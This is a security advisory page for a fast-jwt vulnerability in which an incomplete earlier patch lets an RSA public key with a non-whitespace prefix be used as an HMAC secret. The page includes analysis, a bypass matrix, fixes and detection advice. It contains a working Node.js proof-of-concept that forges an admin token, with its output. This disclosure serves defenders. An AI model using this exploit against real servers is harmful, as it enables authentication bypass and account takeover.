CVE-2026-107722: fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion
fast-jwt 6.2.0 through 6.2.4 still allows RSA to HS256 algorithm confusion. The earlier fix only trimmed whitespace, so a key with any other leading character (a comment, a control byte, a zero-width character) is treated as an HMAC secret. An attacker who knows the public key can forge tokens. Upgrade to fast-jwt 6.3.0.
Published Oct 8, 2026 · Analysis Oct 25, 2026
What an attacker can do
fast-jwt decides whether a key is a PEM public key in performDetectPublicKeyAlgorithms in src/crypto.js. The earlier patch for CVE-2026-34950 added key.trim(), but the regex /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/ still needs the header at position 0. trim() only removes whitespace. A key such as # some comment followed by a newline and the PEM fails the match. The library then falls through to the HMAC path and uses the whole key string as the shared secret.
The attacker needs no credentials. A public key is public, so they sign an HS256 token with the exact key string the server loaded and set any claims, such as admin: true. The server accepts it. The reporter's matrix shows bypasses with # comments, NUL, ESC, DEL, zero-width space and joiner, HTTP-style headers and PGP wrappers. A BOM is stripped by trim() and is not affected.
The precondition is that the loaded key text carries a non-whitespace prefix, for example from a YAML comment, a mangled database column or a copy from a formatted document. Verifiers that set no algorithms allowlist, or use an async key callback, are vulnerable. algorithms: ['RS256'] protects. fast-jwt is the default backend of @fastify/jwt, so many Fastify APIs inherit the risk. The result is full authentication bypass.
Who is affected
Versions >= 6.2.0 and <= 6.2.4 of the npm package fast-jwt. Only verifiers that load an RSA public key with a non-whitespace prefix and do not restrict algorithms to asymmetric ones are exploitable. Check the installed version, including copies pulled in through @fastify/jwt:
npm ls fast-jwtAlso review how your key string is loaded and whether anything is prepended to the PEM.
fast-jwt
- Ecosystem
- npm
- Affected
- >= 6.2.0, <= 6.2.4
- Fixed in
- 6.3.0
- Check
npm ls fast-jwt
How to fix it
Upgrade to fast-jwt 6.3.0, which rejects keys with non-whitespace prefixes (pull request 632). The same release stops HMAC algorithms from running public-key detection and rejects raw JWK/JWKS JSON used as an HMAC secret.
npm install [email protected]The advisory also states that setting algorithms: ['RS256'] on the verifier blocks the attack. Make sure the key file contains only the PEM block.
How to tell if you were hit
Look for accepted tokens whose header says alg: HS256 on services configured with an RSA public key. Log the algorithm of verified tokens and alert when it is HS256 where only RS256 is expected. Check the key string you load for any bytes before -----BEGIN: comments, NUL or other control characters, zero-width characters. Review application logs for sessions with admin or elevated claims from unfamiliar subjects. Run npm ls fast-jwt across your repos and lockfiles to find affected versions.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is incomplete. It adds key.trim() to the PEM-detection path in src/crypto.js, but String.prototype.trim() only strips characters classified as whitespace by the ECMAScript specification. The subsequent ^-anchored regex (/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/) still requires the PEM header at position 0 — so any non-whitespace leading byte (control chars, zero-width unicode, # comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the exact same RSA→HS256 algorithm-confusion attack the original CVE addressed is fully re-enabled with a slightly different leading byte.
Attack prerequisites are identical to CVE-2026-34950: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).
Verified on [email protected] (latest as of 2026-04-23) with a 10-line PoC.
Details
Post-patch code (src/crypto.js, lines ~74-171 in performDetectPublicKeyAlgorithms):
function performDetectPublicKeyAlgorithms(key) {
const trimmedKey = key.trim() // <-- CVE-2026-34950 patch added this
if (publicKeyPemMatcher.test(trimmedKey)) {
// treat as RSA/EC public key
...
}
// fall-through: treat as HMAC secret <-- bug: reachable via non-whitespace prefix
...
}
const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/The bug: String.prototype.trim() only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the ^-anchored regex fails, and execution falls through to the HMAC path with key being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.
Identical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).
PoC
'use strict';
const { createHmac, generateKeyPairSync } = require('node:crypto');
const { createVerifier } = require('fast-jwt');
const { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();
// Attacker-controlled "key" content as loaded by the verifier
// (models a realistic deployment: key with a leading metadata comment)
const key = '# some comment\n' + pem;
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');
const sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');
const forgedToken = header + '.' + payload + '.' + sig;
const verifier = createVerifier({ key });
console.log('Forged token payload:', verifier(forgedToken));
console.log('Package version:', require('fast-jwt/package.json').version);Observed output (2026-04-23, fresh npm install):
Forged token payload: { admin: true, sub: 'attacker' }
Package version: 6.2.2Full bypass matrix (all verified accepting a forged admin token)
| Leading content | Accepted as admin? | | `# some comment\n` + PEM | ✅ BYPASS | | `U+0000` (NUL) + PEM | ✅ BYPASS | | `U+0001` (SOH) + PEM | ✅ BYPASS | | `U+0008` (BACKSPACE) + PEM | ✅ BYPASS | | `U+001B` (ESC, ANSI-color) + PEM | ✅ BYPASS | | `U+007F` (DEL) + PEM | ✅ BYPASS | | `U+200B` (ZWSP) + PEM | ✅ BYPASS | | `U+200D` (ZWJ) + PEM | ✅ BYPASS | | `HTTP/1.1 200 OK\r\n\r\n` + PEM | ✅ BYPASS | | PGP-wrapper text + PEM | ✅ BYPASS | | `.` + PEM | ✅ BYPASS | | `U+FEFF` (BOM) + PEM | ❌ correctly stripped by trim |
Defense matrix (which caller configs are vulnerable)
| Caller config | Vulnerable? |
| `createVerifier({ key })` (no `algorithms` allowlist) | ✗ VULNERABLE |
| `createVerifier({ key: asyncCallback })` | ✗ VULNERABLE |
| `createVerifier({ key, algorithms: ['RS256'] })` | ✓ protected |
| `createVerifier({ key, algorithms: ['HS256'] })` | ✗ VULNERABLE (attacker matches) |Impact
- Authentication bypass — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an
algorithmsallowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes. - Severity-parity with CVE-2026-34950 — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed *one* trigger (whitespace) rather than the class (any surrounding content before
-----BEGIN). - Broad fast-jwt deployment — default JWT backend of
@fastify/jwt; used by many Fastify-based Node.js APIs.
Suggested fix
Option A (minimal) — locate the PEM block rather than anchoring on position 0:
const pemStart = trimmedKey.indexOf('-----BEGIN')
if (pemStart !== -1 && publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }Option B (strict, recommended) — require the key to be exactly a PEM block:
const pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\s\S]+?-----END \1?PUBLIC KEY-----/.exec(trimmedKey)
if (pemMatch && pemMatch[0].trim() === trimmedKey.trim()) { /* valid PEM, no surrounding content */ }Option C (defense-in-depth, regardless of A/B) — on the HMAC fallback path, reject any key that *contains* PEM markers:
if (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) {
throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback')
}Test coverage gap
test/crypto.spec.js post-CVE-2026-34950 only tests whitespace padding (['\n', ' ', ' \n', '\n ', '\t\t']). Add coverage for:
- Control bytes (U+0000-U+001F, U+007F)
- Zero-width Unicode (U+200B, U+200C, U+200D, U+180E)
- Comment prefixes (
#,//,;,--) - Mixed-content wrappers (PGP blocks, HTTP headers)
- Arbitrary binary prefix bytes
Credit
Reporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.
Credited to dc-infosec, EchoSkorJjj.
Questions
- Is this a bypass of the CVE-2026-34950 fix?
Yes. The earlier fix in 6.2.0 added
key.trim(), which only strips whitespace. Any other leading character still sends the key down the HMAC path, so the same attack works. Version 6.3.0 closes it.- Am I safe if I set the algorithms option?
Setting
algorithms: ['RS256']protects, per the advisory. Settingalgorithms: ['HS256']does not, and leaving it unset is vulnerable. Upgrade anyway.- Does the attacker need to know a secret?
No. They need the RSA public key, which is public, and the exact key string the server loads, including its prefix. No authentication or user interaction is needed.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-44351
fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver
critical9.1May 6, 2026CVE-2026-35039
fast-jwt: Cache Confusion via cacheKeyBuilder Collisions Can Return Claims From a Different Token (Identity/Authorization Mixup)
critical9.1Apr 3, 2026CVE-2026-34950
fast-jwt: Incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key
critical9.1Apr 2, 2026
